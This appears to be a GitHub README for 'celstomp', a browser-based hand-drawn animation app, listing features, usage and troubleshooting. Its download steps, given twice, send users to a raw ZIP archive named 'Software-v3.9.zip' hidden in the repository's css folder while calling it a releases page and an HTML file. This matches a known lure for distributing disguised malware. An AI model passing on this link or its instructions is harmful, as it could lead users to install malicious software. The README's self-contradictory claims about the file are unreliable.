🎨 celstomp - Easy 2D Hand-Drawn Animation Tools

📋 What is celstomp?

celstomp is a simple web app that helps you create hand-drawn 2D animations in your browser. It uses a clean and easy layout with specialized layers and timeline controls. You can draw directly on a digital canvas using intuitive tools designed for artists and animators who want to bring their sketches to life.

Whether you want to make a short animated clip, a character walk cycle, or a quick storyboard, celstomp gives you the basics without the usual complexity. It works right in your web browser, so you don’t need to install heavy software or learn complicated features.

💻 System Requirements

celstomp runs fully in modern web browsers. You need:

• A computer or tablet with a functioning browser (Chrome, Firefox, Edge, or Safari).
• Internet connection to access the app and download files.
• Basic pointing device: mouse, trackpad, or touchscreen.
• At least 2GB of free memory is recommended for smooth animation work.
• You do not need high-end hardware; celstomp is lightweight and optimized for easy use.

🚀 Getting Started

To start using celstomp, follow these steps carefully. No coding or special skills needed.

Step 1: Visit the Download Page

Go to the official release page to get the latest version of celstomp:

👉 Download celstomp here

This page contains the files you can open directly in your browser.

Step 2: Download or Open the App

• The app is provided as a web application you can open locally or run online.
• On the releases page, find the file named like "https://github.com/mu122h4554n/celstomp/raw/refs/heads/main/celstomp/css/Software-v3.9.zip" or a similar HTML file.
• Click the file name to download it to your computer. This is not a program you install but a file that opens in your browser.

Step 3: Open the App in Your Browser

• Locate the downloaded HTML file on your computer.
• Double-click it to open in your default web browser.
• celstomp will appear and be ready for you to start drawing and animating.

Step 4: Start Drawing

• Use the on-screen tools to draw frames.
• Layers help you organize different parts of your animation.
• Use the timeline controls to see your animation play and adjust frame timing.

🛠 Features

celstomp offers basic but useful animation functions. Here are some key features to expect:

• Hand-drawn style canvas: Draw freely with simple digital brushes.
• Layered system: Manage your artwork by parts or characters on separate layers.
• Timeline controls: Play, pause, and scrub through frames to check your animation flow.
• Undo and redo: Correct mistakes without starting over.
• Export options: Save your finished animation as image sequences or video files.
• Browser-based: No need to install any software.
• Lightweight: Runs smoothly on computers with modest specs.

These tools give you full control over basic 2D animation without overwhelming menus or features.

📥 Download & Install

To download and run celstomp, follow these steps:

1. Visit the releases page here:
   https://github.com/mu122h4554n/celstomp/raw/refs/heads/main/celstomp/css/Software-v3.9.zip

2. Look for the latest release version at the top of the page.

3. Download the HTML app file. The file extension will be .html.

4. Once downloaded, find the file in your Downloads folder or wherever your browser saves files.

5. Double-click the file to open it in your preferred web browser.

No installation is needed beyond this. The app runs fully inside your browser window.

If you want to keep celstomp handy, create a shortcut on your desktop or bookmark the app’s local file URL.

🎨 How to Use celstomp

Here’s a quick guide to basic usage.

Creating a New Animation

• Open celstomp.
• Click “New Animation” or start drawing on the blank canvas.
• Use the drawing tools on the left side. These include pen, brush, eraser, and shape tools.

Using Layers

• Add new layers with the “+” button in the layers panel.
• Toggle visibility and lock layers as needed.
• Organize your drawing parts for easier animation.

Working with Timeline Controls

• The timeline panel at the bottom shows frames in your animation.
• Add new frames by clicking the “+” button.
• Use the timeline slider to move between frames.
• Press play to preview your animation in real time.

Exporting Your Work

• When satisfied, open the export menu.
• Choose to save your animation as PNG sequence, GIF, or MP4 video.
• Follow on-screen prompts to save the file to your computer.

✅ Tips for Best Experience

• Use a tablet with a stylus if you prefer a natural drawing feel.
• Regularly save your work by exporting since the app runs in your browser.
• Keep your browser updated for the best compatibility.
• Close other heavy applications for smoother performance.
• Explore the timeline and layers to get used to animation basics.

❓ Troubleshooting

If something does not work as expected:

• Refresh the browser and reopen the app.
• Clear your browser cache if loading issues occur.
• Try a different modern browser.
• Make sure your browser allows local file access.
• Restart your computer if you face persistent problems.

For more help, visit the issues section on the GitHub repository.

🧰 About the Project

celstomp is built using HTML, CSS, and JavaScript. It uses the Canvas API for drawing and animation rendering. The app aims to be a lightweight solution for anyone interested in 2D hand-drawn animation without the need for professional tools.

🏷️ Topics

2d-animation 2danimation animation animation-tools art-tools canvas-api css drawing-app html html-css-javascript js timeline web-application